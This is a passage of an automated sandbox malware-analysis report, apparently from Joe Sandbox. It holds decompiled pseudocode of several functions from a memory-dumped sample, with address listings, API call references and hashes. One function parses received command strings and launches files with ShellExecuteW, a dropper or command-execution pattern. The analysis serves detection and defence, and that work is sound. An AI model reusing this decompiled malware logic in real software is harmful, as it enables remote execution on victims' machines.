								_t79 = E00419B4E(_t171,  &_v20, 0, StrStrW(_t171,  *0x423250) - _t171 >> 1);
								__eflags = _t79;
								if(_t79 != 0) {
									_t172 = LocalAlloc(0x40, 0x4000);
									_v28 = _t172;
									_t81 = LocalAlloc(0x40, 0x20a);
									_t123 = _t81;
									_t82 =  *0x4230c0(0, _t123, 0x1a, 0);
									__eflags = _t82;
									if(_t82 != 0) {
										_t90 = PathCombineW(_t123, _t123, _v12);
										__eflags = _t90;
										if(_t90 != 0) {
											_v40 = 1;
											E0040609F(_t123, _t123, _v8, _v16, _v20, _t172,  &_v24);
											__eflags = _v24;
											if(_v24 > 0) {
												_t93 = LocalAlloc(0x40, 0x208);
												_t94 = LocalAlloc(0x40, 0x208);
												_t149 = 0x10;
												_t174 = E00416B1A(_t93, _t149);
												_v48 = _t174;
												_t97 = E0041AD76(StrCpyW(_t94,  *0x423230), _t174, __eflags);
												_v52 = _v52 & 0x00000000;
												_v36 = _t97;
												_t98 =  *0x423224; // 0x513bc38
												_v56 = _t98;
												_v32 = E00413A99( &_v36, __eflags);
												_t158 = LocalAlloc(0x40, 0x184);
												_t102 = WideCharToMultiByte(0xfde9, 0, _t174, 0xffffffff, 0, 0, 0, 0);
												__eflags = _t102;
												if(_t102 == 0) {
													_t172 = _v28;
												} else {
													_t107 = WideCharToMultiByte(0xfde9, 0, _t174, 0xffffffff, _t158, _t102, 0, 0);
													_t172 = _v28;
													__eflags = _t107;
													if(_t107 != 0) {
														E004133D0(_v44, _t158, 0, 0, _v24, _t172, _v32,  &_v56);
													}
												}
												LocalFree(_t158);
												LocalFree(_v32);
												LocalFree(_v36);
												LocalFree(_v48);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t123);
									LocalFree(_t172);
									return _v40;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								goto L5;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L5;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L5;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L5;
				} else {
					_t160 = _t58 - _t162;
					__eflags = _t160;
					_t152 = _t160 >> 1;
					if(_t160 >= 0) {
						goto L6;
					}
					_push(0xfffffffe);
					L5:
					_pop(_t114);
					return _t114;
				}
			}

0x0041556b
0x0041556f
0x00415572
0x00415574
0x00415577
0x0041557d
0x00415581
0x00000000
0x00415583
0x00415591
0x00415595
0x0041559b
0x0041559d
0x004155af
0x004155c6
0x004155cb
0x004155d2
0x004155d4
0x004155e6
0x00415601
0x00415614
0x00415618
0x0041561f
0x00415621
0x0041563f
0x0041565a
0x0041566d
0x00415671
0x00415678
0x0041567a
0x0041569f
0x004156ba
0x004156cf
0x004156d6
0x004156d8
0x00415717
0x0041571b
0x0041571e
0x00415728
0x0041572d
0x00415733
0x00415735
0x00415740
0x00415746
0x00415748
0x00415751
0x00415767
0x0041576f
0x00415773
0x00415781
0x0041578c
0x00415794
0x004157a4
0x004157a7
0x004157b4
0x004157b9
0x004157c0
0x004157c3
0x004157c8
0x004157d7
0x004157e0
0x004157f1
0x004157f7
0x004157f9
0x00415835
0x004157fb
0x0041580a
0x00415810
0x00415813
0x00415815
0x0041582b
0x00415830
0x00415815
0x00415839
0x00415842
0x0041584b
0x00415854
0x00415854
0x00415773
0x00415748
0x0041585d
0x00415866
0x0041586f
0x00415878
0x0041587f
0x00415886
0x00000000
0x0041588c
0x004156dd
0x004156e6
0x004156ef
0x004156f8
0x004156fe
0x00000000
0x004156fe
0x0041567f
0x00415688
0x00415691
0x00415697
0x00000000
0x00415697
0x00415626
0x0041562f
0x00415635
0x00000000
0x00415635
0x004155d9
0x004155df
0x00000000
0x0041559f
0x004155a1
0x004155a1
0x004155a3
0x004155a5
0x00000000
0x00000000
0x004155a7
0x004155a9
0x004155a9
0x00000000
0x004155a9

APIs

StrStrW.SHLWAPI(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,004118AD,00000000), ref: 00415577
StrStrW.SHLWAPI(-0000000C,?,?,?,?,?,?,?,?,?,?,004118AD,00000000,00000000), ref: 00415595

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fc45afedf0f2131eafbc99ef807a9ff806aa5dfa3c6c630ea613d7711f82757
Instruction ID: 84c57704406fcdf83a6289cf8208b24fa76414ad99418e5af68690d2b9cb549d
Opcode Fuzzy Hash: 3fc45afedf0f2131eafbc99ef807a9ff806aa5dfa3c6c630ea613d7711f82757
Instruction Fuzzy Hash: 72919072B01214FFDB215FA0DD09EEEBB79FF44712F500565F606E21A4DB394A428B68

Uniqueness

Uniqueness Score: -1.00%

Function 00405D65 Relevance: 64.8, APIs: 43, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00405D65(WCHAR* __ecx, WCHAR* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				int _v40;
				WCHAR* _v44;
				void* _v48;
				signed int _v52;
				char _v56;
				signed int _t57;
				signed int _t58;
				signed int _t62;
				signed int _t67;
				signed int _t72;
				signed int _t79;
				void* _t81;
				signed int _t82;
				signed int _t90;
				void* _t93;
				WCHAR* _t94;
				void* _t97;
				char _t98;
				int _t102;
				signed int _t107;
				void* _t114;
				void* _t123;
				void* _t149;
				signed int _t152;
				WCHAR* _t153;
				WCHAR* _t155;
				void* _t158;
				signed int _t160;
				signed int _t161;
				WCHAR* _t162;
				signed int _t166;
				signed int _t169;
				WCHAR* _t171;
				void* _t172;
				short* _t174;

				_v44 = __edx;
				_v24 = 0;
				_t152 = 0;
				_v40 = 0;
				_t57 = StrStrW(__ecx,  *0x423464);
				_t161 = _t57;
				if(_t161 == 0) {
					return _t57 | 0xffffffff;
				}
				_t162 = _t161 + 0xc;
				_t58 = StrStrW(_t162,  *0x423200);
				__eflags = _t58;
				if(_t58 == 0) {
					L6:
					_v8 = LocalAlloc(0x40, lstrlenW(_t162) + _t59);
					_t62 = E00419B4E(_t162,  &_v8, 0, _t152);
					__eflags = _t62;
					if(_t62 != 0) {
						_t153 =  &(( &(_t162[1]))[_t152]);
						_v12 = LocalAlloc(0x40, lstrlenW(_t153) + _t63);
						_t166 = StrStrW(_t153,  *0x42322c) - _t153 >> 1;
						_t67 = E00419B4E(_t153,  &_v12, 0, _t166);
						__eflags = _t67;
						if(_t67 != 0) {
							_t155 =  &(( &(_t153[_t166]))[1]);
							_v16 = LocalAlloc(0x40, lstrlenW(_t155) + _t68);
							_t169 = StrStrW(_t155,  *0x42322c) - _t155 >> 1;
							_t72 = E00419B4E(_t155,  &_v16, 0, _t169);
							__eflags = _t72;
							if(_t72 != 0) {
								_t171 =  &(_t155[_t169 + 1]);
								_v20 = LocalAlloc(0x40, lstrlenW(_t171) + _t73);
								_t79 = E00419B4E(_t171,  &_v20, 0, StrStrW(_t171,  *0x423250) - _t171 >> 1);
								__eflags = _t79;
								if(_t79 != 0) {
									_t172 = LocalAlloc(0x40, 0x4000);
									_v28 = _t172;
									_t81 = LocalAlloc(0x40, 0x20a);
									_t123 = _t81;
									_t82 =  *0x4230c0(0, _t123, 0x1a, 0);
									__eflags = _t82;
									if(_t82 != 0) {
										_t90 = PathCombineW(_t123, _t123, _v12);
										__eflags = _t90;
										if(_t90 != 0) {
											_v40 = 1;
											E0040609F(_t123, _t123, _v8, _v16, _v20, _t172,  &_v24);
											__eflags = _v24;
											if(_v24 > 0) {
												_t93 = LocalAlloc(0x40, 0x208);
												_t94 = LocalAlloc(0x40, 0x208);
												_t149 = 0x10;
												_t174 = E00416B1A(_t93, _t149);
												_v48 = _t174;
												_t97 = E0041AD76(StrCpyW(_t94,  *0x423230), _t174, __eflags);
												_v52 = _v52 & 0x00000000;
												_v36 = _t97;
												_t98 =  *0x423224; // 0x513bc38
												_v56 = _t98;
												_v32 = E00413A99( &_v36, __eflags);
												_t158 = LocalAlloc(0x40, 0x184);
												_t102 = WideCharToMultiByte(0xfde9, 0, _t174, 0xffffffff, 0, 0, 0, 0);
												__eflags = _t102;
												if(_t102 == 0) {
													_t172 = _v28;
												} else {
													_t107 = WideCharToMultiByte(0xfde9, 0, _t174, 0xffffffff, _t158, _t102, 0, 0);
													_t172 = _v28;
													__eflags = _t107;
													if(_t107 != 0) {
														E004133D0(_v44, _t158, 0, 0, _v24, _t172, _v32,  &_v56);
													}
												}
												LocalFree(_t158);
												LocalFree(_v32);
												LocalFree(_v36);
												LocalFree(_v48);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t123);
									LocalFree(_t172);
									return _v40;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								goto L5;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L5;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L5;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L5;
				} else {
					_t160 = _t58 - _t162;
					__eflags = _t160;
					_t152 = _t160 >> 1;
					if(_t160 >= 0) {
						goto L6;
					}
					_push(0xfffffffe);
					L5:
					_pop(_t114);
					return _t114;
				}
			}

0x00405d76
0x00405d7a
0x00405d7d
0x00405d7f
0x00405d82
0x00405d88
0x00405d8c
0x00000000
0x00405d8e
0x00405d9c
0x00405da0
0x00405da6
0x00405da8
0x00405dba
0x00405dd1
0x00405dd6
0x00405ddd
0x00405ddf
0x00405df1
0x00405e0c
0x00405e1f
0x00405e23
0x00405e2a
0x00405e2c
0x00405e4a
0x00405e65
0x00405e78
0x00405e7c
0x00405e83
0x00405e85
0x00405eaa
0x00405ec5
0x00405eda
0x00405ee1
0x00405ee3
0x00405f22
0x00405f26
0x00405f29
0x00405f33
0x00405f38
0x00405f3e
0x00405f40
0x00405f4b
0x00405f51
0x00405f53
0x00405f5c
0x00405f72
0x00405f7a
0x00405f7e
0x00405f8c
0x00405f97
0x00405f9f
0x00405faf
0x00405fb2
0x00405fbf
0x00405fc4
0x00405fcb
0x00405fce
0x00405fd3
0x00405fe2
0x00405feb
0x00405ffc
0x00406002
0x00406004
0x00406040
0x00406006
0x00406015
0x0040601b
0x0040601e
0x00406020
0x00406036
0x0040603b
0x00406020
0x00406044
0x0040604d
0x00406056
0x0040605f
0x0040605f
0x00405f7e
0x00405f53
0x00406068
0x00406071
0x0040607a
0x00406083
0x0040608a
0x00406091
0x00000000
0x00406097
0x00405ee8
0x00405ef1
0x00405efa
0x00405f03
0x00405f09
0x00000000
0x00405f09
0x00405e8a
0x00405e93
0x00405e9c
0x00405ea2
0x00000000
0x00405ea2
0x00405e31
0x00405e3a
0x00405e40
0x00000000
0x00405e40
0x00405de4
0x00405dea
0x00000000
0x00405daa
0x00405dac
0x00405dac
0x00405dae
0x00405db0
0x00000000
0x00000000
0x00405db2
0x00405db4
0x00405db4
0x00000000
0x00405db4

APIs

StrStrW.SHLWAPI(00000000,00000000,00000000,00000000), ref: 00405D82
StrStrW.SHLWAPI(-0000000C,?,?,?,?,?,?,?,?,?,?,?,?,00411A4B), ref: 00405DA0

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2154e3b8841a5df2261f547378c2df8daaff0c065ae0eaf039133bb9604009c
Instruction ID: 8c4a590f648d3d305be9dce61f3faae87127a2c915b13a60918a9fd7424c58cf
Opcode Fuzzy Hash: c2154e3b8841a5df2261f547378c2df8daaff0c065ae0eaf039133bb9604009c
Instruction Fuzzy Hash: 67919F72B00214BFDB215FA4DC09AAEBB79FF04712F500575FA02F21E4DB395A028B68

Uniqueness

Uniqueness Score: -1.00%

Function 00414461 Relevance: 64.8, APIs: 43, Instructions: 277
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00414461(WCHAR* _a4, char _a7, WCHAR* _a8) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				void* _v32;
				int _v36;
				void* _v40;
				signed int _v44;
				char _v48;
				signed int _t58;
				signed int _t59;
				signed int _t63;
				signed int _t68;
				signed int _t73;
				signed int _t80;
				void* _t82;
				signed int _t83;
				signed int _t91;
				void* _t94;
				WCHAR* _t95;
				void* _t98;
				char _t99;
				int _t103;
				signed int _t108;
				void* _t115;
				void* _t124;
				void* _t147;
				signed int _t150;
				WCHAR* _t151;
				WCHAR* _t153;
				void* _t156;
				signed int _t158;
				signed int _t159;
				WCHAR* _t160;
				signed int _t164;
				signed int _t167;
				WCHAR* _t169;
				void* _t170;
				short* _t172;

				_v24 = 0;
				_t150 = 0;
				_v36 = 0;
				_t58 = StrStrW(_a4,  *0x4232d0);
				_t159 = _t58;
				if(_t159 == 0) {
					return _t58 | 0xffffffff;
				}
				_t160 = _t159 + 0xa;
				_t59 = StrStrW(_t160,  *0x423200);
				__eflags = _t59;
				if(_t59 == 0) {
					L6:
					_v8 = LocalAlloc(0x40, lstrlenW(_t160) + _t60);
					_t63 = E00419B4E(_t160,  &_v8, 0, _t150);
					__eflags = _t63;
					if(_t63 != 0) {
						_t151 =  &(( &(_t160[1]))[_t150]);
						_v12 = LocalAlloc(0x40, lstrlenW(_t151) + _t64);
						_t164 = StrStrW(_t151,  *0x42322c) - _t151 >> 1;
						_t68 = E00419B4E(_t151,  &_v12, 0, _t164);
						__eflags = _t68;
						if(_t68 != 0) {
							_t153 =  &(( &(_t151[_t164]))[1]);
							_v16 = LocalAlloc(0x40, lstrlenW(_t153) + _t69);
							_t167 = StrStrW(_t153,  *0x42322c) - _t153 >> 1;
							_t73 = E00419B4E(_t153,  &_v16, 0, _t167);
							__eflags = _t73;
							if(_t73 != 0) {
								_t169 =  &(_t153[_t167 + 1]);
								_v20 = LocalAlloc(0x40, lstrlenW(_t169) + _t74);
								_t80 = E00419B4E(_t169,  &_v20, 0, StrStrW(_t169,  *0x423250) - _t169 >> 1);
								__eflags = _t80;
								if(_t80 != 0) {
									_t170 = LocalAlloc(0x40, 0x4000);
									_v28 = _t170;
									_t82 = LocalAlloc(0x40, 0x20a);
									_t124 = _t82;
									_t83 =  *0x4230c0(0, _t124, 0x1a, 0);
									__eflags = _t83;
									if(_t83 != 0) {
										_t91 = PathCombineW(_t124, _t124, _v12);
										__eflags = _t91;
										if(_t91 != 0) {
											_v36 = 1;
											E0041479A( &_a7, _t124, _t124, _v8, _v16, _v20, _t170,  &_v24);
											__eflags = _v24;
											if(_v24 > 0) {
												_t94 = LocalAlloc(0x40, 0x208);
												_t95 = LocalAlloc(0x40, 0x208);
												_t147 = 0x10;
												_t172 = E00416B1A(_t94, _t147);
												_v40 = _t172;
												_t98 = E0041AD76(StrCpyW(_t95,  *0x423230), _t172, __eflags);
												_v44 = _v44 & 0x00000000;
												_v32 = _t98;
												_t99 =  *0x423224; // 0x513bc38
												_v48 = _t99;
												_a4 = E00413A99( &_v32, __eflags);
												_t156 = LocalAlloc(0x40, 0x184);
												_t103 = WideCharToMultiByte(0xfde9, 0, _t172, 0xffffffff, 0, 0, 0, 0);
												__eflags = _t103;
												if(_t103 == 0) {
													_t170 = _v28;
												} else {
													_t108 = WideCharToMultiByte(0xfde9, 0, _t172, 0xffffffff, _t156, _t103, 0, 0);
													_t170 = _v28;
													__eflags = _t108;
													if(_t108 != 0) {
														E004133D0(_a8, _t156, 0, 0, _v24, _t170, _a4,  &_v48);
													}
												}
												LocalFree(_t156);
												LocalFree(_a4);
												LocalFree(_v32);
												LocalFree(_v40);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t124);
									LocalFree(_t170);
									return _v36;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								goto L5;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L5;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L5;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L5;
				} else {
					_t158 = _t59 - _t160;
					__eflags = _t158;
					_t150 = _t158 >> 1;
					if(_t158 >= 0) {
						goto L6;
					}
					_push(0xfffffffe);
					L5:
					_pop(_t115);
					return _t115;
				}
			}

0x00414475
0x00414478
0x0041447a
0x0041447d
0x00414483
0x00414487
0x00000000
0x00414489
0x00414497
0x0041449b
0x004144a1
0x004144a3
0x004144b5
0x004144cc
0x004144d1
0x004144d8
0x004144da
0x004144ec
0x00414507
0x0041451a
0x0041451e
0x00414525
0x00414527
0x00414545
0x00414560
0x00414573
0x00414577
0x0041457e
0x00414580
0x004145a5
0x004145c0
0x004145d5
0x004145dc
0x004145de
0x0041461d
0x00414621
0x00414624
0x0041462e
0x00414633
0x00414639
0x0041463b
0x00414646
0x0041464c
0x0041464e
0x00414657
0x0041466e
0x00414673
0x00414677
0x00414685
0x00414690
0x00414698
0x004146a8
0x004146ab
0x004146b8
0x004146bd
0x004146c4
0x004146c7
0x004146cc
0x004146db
0x004146e4
0x004146f5
0x004146fb
0x004146fd
0x00414739
0x004146ff
0x0041470e
0x00414714
0x00414717
0x00414719
0x0041472f
0x00414734
0x00414719
0x0041473d
0x00414746
0x0041474f
0x00414758
0x00414758
0x00414677
0x0041464e
0x00414761
0x0041476a
0x00414773
0x0041477c
0x00414783
0x0041478a
0x00000000
0x00414790
0x004145e3
0x004145ec
0x004145f5
0x004145fe
0x00414604
0x00000000
0x00414604
0x00414585
0x0041458e
0x00414597
0x0041459d
0x00000000
0x0041459d
0x0041452c
0x00414535
0x0041453b
0x00000000
0x0041453b
0x004144df
0x004144e5
0x00000000
0x004144a5
0x004144a7
0x004144a7
0x004144a9
0x004144ab
0x00000000
0x00000000
0x004144ad
0x004144af
0x004144af
0x00000000
0x004144af

APIs

StrStrW.SHLWAPI(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,004118A4,00000000,00000000), ref: 0041447D
StrStrW.SHLWAPI(-0000000A,?,?,?,?,?,?,?,?,004118A4,00000000,00000000), ref: 0041449B

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 243e463f0599a8c54c47ce37ba60953ae28b787208a7c07b111d37a027db8313
Instruction ID: dc15333a28c8ec9c4414698897e82e49473aab9c4c02e04bdb7b872939cdc0e5
Opcode Fuzzy Hash: 243e463f0599a8c54c47ce37ba60953ae28b787208a7c07b111d37a027db8313
Instruction Fuzzy Hash: 3B91A132B00114BFDB215FA0DC09EAEBB79FF44712F500565F616A61E4DB394A428B6C

Uniqueness

Uniqueness Score: -1.00%

Function 0040860D Relevance: 63.3, APIs: 42, Instructions: 278
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040860D() {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				char _v28;
				WCHAR* _v32;
				void* __ecx;
				int _t84;
				int _t90;
				long _t100;
				void* _t104;
				signed int _t106;
				WCHAR* _t107;
				char _t110;
				void* _t119;
				short* _t121;
				WCHAR* _t122;
				void* _t124;
				WCHAR* _t125;
				void* _t156;
				WCHAR* _t158;
				WCHAR* _t161;
				WCHAR* _t163;
				signed int _t166;
				WCHAR* _t167;
				WCHAR* _t169;
				WCHAR* _t171;
				void* _t173;
				WCHAR* _t174;
				WCHAR* _t175;
				WCHAR* _t177;
				signed int _t179;
				WCHAR* _t180;
				signed int _t182;
				WCHAR* _t183;
				signed int _t185;
				WCHAR* _t186;
				WCHAR* _t189;
				void* _t190;

				_t174 = StrStrW(_t125,  *0x42346c);
				if(_t174 == 0) {
					L34:
					return 0;
				} else {
					_t119 = 0;
					while(1) {
						_t175 = _t174 + 8;
						_v8 = LocalAlloc(0x40, lstrlenW(_t175) + _t56);
						_t163 = StrStrW(_t175,  *0x423200);
						if(_t163 == 0) {
							break;
						}
						_t166 = _t163 - _t175 >> 1;
						if(E00419B4E(_t175,  &_v8, _t119, _t166) == 0) {
							break;
						}
						_t167 =  &(( &(_t175[1]))[_t166]);
						_v12 = LocalAlloc(0x40, lstrlenW(_t167) + _t62);
						_t177 = StrStrW(_t167,  *0x42322c);
						if(_t177 == 0) {
							L30:
							LocalFree(_v12);
							break;
						}
						_t179 = _t177 - _t167 >> 1;
						if(E00419B4E(_t167,  &_v12, _t119, _t179) == 0) {
							goto L30;
						}
						_t169 =  &(( &(_t167[_t179]))[1]);
						_v20 = LocalAlloc(0x40, lstrlenW(_t169) + _t68);
						_t180 = StrStrW(_t169,  *0x42322c);
						if(_t180 == 0) {
							L29:
							LocalFree(_v20);
							goto L30;
						}
						_t182 = _t180 - _t169 >> 1;
						if(E00419B4E(_t169,  &_v20, _t119, _t182) == 0) {
							goto L29;
						}
						_t171 =  &(( &(_t169[_t182]))[1]);
						_v16 = LocalAlloc(0x40, lstrlenW(_t171) + _t74);
						_t183 = StrStrW(_t171,  *0x423250);
						if(_t183 == 0) {
							L28:
							LocalFree(_v12);
							LocalFree(_v8);
							LocalFree(_v16);
							L32:
							L33:
							goto L34;
						}
						_t185 = _t183 - _t171 >> 1;
						if(E00419B4E(_t171,  &_v16, _t119, _t185) == 0) {
							goto L28;
						}
						_t16 = _t185 + 1; // 0x1
						_v32 =  &(_t171[_t16]);
						if(StrToIntW(_v8) != 1) {
							_t84 = StrToIntW(_v8);
							__eflags = _t84 - 2;
							if(_t84 != 2) {
								_t90 = StrToIntW(_v8);
								__eflags = _t90 - 3;
								if(_t90 == 3) {
									ShellExecuteW(_t119,  *0x4232c4, _v16, _v12, _t119, _t119);
								}
							}
							L22:
							LocalFree(_v20);
							LocalFree(_v12);
							LocalFree(_v8);
							LocalFree(_v16);
							_t174 = StrStrW(_v32,  *0x42346c);
							if(_t174 != 0) {
								continue;
							}
							goto L33;
						}
						_t121 = _v20;
						if( *_t121 != 0x25) {
							L21:
							_t119 = 0;
							goto L22;
						}
						_t122 = _t121 + 2;
						_v24 = LocalAlloc(0x40, 0x410);
						_t186 = StrStrW(_t122,  *0x423418);
						if(_t186 == 0) {
							L27:
							LocalFree(_v20);
							LocalFree(_v12);
							LocalFree(_v8);
							LocalFree(_v16);
							LocalFree(_v24);
							goto L32;
						}
						_t188 = _t186 - _t122 >> 1;
						if(E00419B4E(_t122,  &_v24, 0, _t186 - _t122 >> 1) == 0) {
							goto L27;
						}
						_t173 = LocalAlloc(0x40, 0x410);
						_t100 = GetEnvironmentVariableW(_v24, _t173, 0x208);
						_t205 = _t100;
						if(_t100 != 0) {
							_t189 = E0041AD76(_t173,  &(( &(_t122[1]))[_t188]), _t205);
							_t104 = LocalAlloc(0x40, 0x209);
							_t156 = 8;
							_t124 = E00416B1A(_t104, _t156);
							_t106 = lstrlenW(_t189);
							_t206 =  *((short*)(_t189 + _t106 * 2 - 2)) - 0x5c;
							if( *((short*)(_t189 + _t106 * 2 - 2)) != 0x5c) {
								_t161 =  *0x423290; // 0x513bb58
								_t189 = E0041AD76(_t189, _t161, _t206);
							}
							_t107 = E0041AD76(_t189, _t124, _t206);
							_t158 =  *0x4234e0; // 0x513de00
							_t173 = E0041AD76(E0041AD76(_t107, _t158, _t206), _v16, _t206);
							_t110 =  *0x423430; // 0x513a728
							_v28 = _t110;
							_t190 = E00413A99( &_v28, _t206);
							if(E0041393E(_v12, _t190, _t173) != 0) {
								ShellExecuteW(0, 0, _t173, 0, 0, 0);
							}
							LocalFree(_t124);
							LocalFree(_t190);
						}
						LocalFree(_t173);
						LocalFree(_v24);
						goto L21;
					}
					LocalFree(_v8);
					goto L32;
				}
			}

0x00408621
0x00408625
0x00408976
0x0040897a
0x0040862b
0x0040862c
0x0040862f
0x0040862f
0x0040864a
0x00408654
0x00408658
0x00000000
0x00000000
0x00408663
0x00408672
0x00000000
0x00000000
0x0040867b
0x00408696
0x004086a0
0x004086a4
0x00408962
0x00408965
0x00000000
0x00408965
0x004086af
0x004086be
0x00000000
0x00000000
0x004086c7
0x004086e2
0x004086ec
0x004086f0
0x00408959
0x0040895c
0x00000000
0x0040895c
0x004086fb
0x0040870a
0x00000000
0x00000000
0x00408713
0x0040872e
0x00408738
0x0040873c
0x00408942
0x00408945
0x0040894e
0x0040896e
0x0040896e
0x00408974
0x00000000
0x00408975
0x00408747
0x00408756
0x00000000
0x00000000
0x0040875f
0x00408765
0x00408771
0x004088e9
0x004088ef
0x004088f2
0x004088f7
0x004088fd
0x00408900
0x00408911
0x00408911
0x00408900
0x004088a4
0x004088a7
0x004088b0
0x004088b9
0x004088c2
0x004088d7
0x004088db
0x00000000
0x00000000
0x00000000
0x004088e1
0x00408777
0x0040877e
0x004088a2
0x004088a2
0x00000000
0x004088a2
0x00408789
0x0040879b
0x004087a5
0x004087a9
0x00408919
0x0040891c
0x00408925
0x0040892e
0x00408937
0x0040896e
0x00000000
0x0040896e
0x004087b4
0x004087c4
0x00000000
0x00000000
0x004087d8
0x004087de
0x004087e4
0x004087e6
0x00408800
0x00408802
0x0040880a
0x00408813
0x00408815
0x0040881b
0x00408821
0x00408823
0x00408830
0x00408830
0x00408836
0x0040883b
0x00408852
0x00408857
0x0040885c
0x00408867
0x00408874
0x0040887e
0x0040887e
0x00408885
0x0040888c
0x0040888c
0x00408893
0x0040889c
0x00000000
0x0040889c
0x0040896e
0x00000000
0x0040896e

APIs

StrStrW.SHLWAPI(00000000,00000000,?,?,?,?,?,?,004120F0), ref: 0040861B
lstrlenW.KERNEL32(-00000008,00000000,00000000,?,?,?,?,?,?,004120F0), ref: 00408633
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004120F0), ref: 0040863E
StrStrW.SHLWAPI(-00000008,?,?,?,?,?,?,004120F0), ref: 0040864E
LocalFree.KERNEL32(004120F0,?,?,?,?,?,?,004120F0), ref: 0040896E

Part of subcall function 00419B4E: RealDriveType.SHELL32(28B5784F,00000000), ref: 00419B6C
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B76
Part of subcall function 00419B4E: RealDriveType.SHELL32(6CFEA2A9,00000000), ref: 00419B7F
Part of subcall function 00419B4E: RealDriveType.SHELL32(DE3824E3,00000000), ref: 00419B88
Part of subcall function 00419B4E: RealDriveType.SHELL32(421E54E9,00000000), ref: 00419B91
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419B97
Part of subcall function 00419B4E: RealDriveType.SHELL32(CAECD9F1,00000000), ref: 00419BA0
Part of subcall function 00419B4E: RealDriveType.SHELL32(5F2761BB,00000000), ref: 00419BA9
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BAF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BB5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BBB
Part of subcall function 00419B4E: RealDriveType.SHELL32(3D0203C8,00000000), ref: 00419BC4
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BCA
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BD0
Part of subcall function 00419B4E: RealDriveType.SHELL32(8F0B365C,00000000), ref: 00419BD9
Part of subcall function 00419B4E: RealDriveType.SHELL32(2856819B,00000000), ref: 00419BE2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BE8
Part of subcall function 00419B4E: RealDriveType.SHELL32(D1C91AE1,00000000), ref: 00419BF1
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BF7
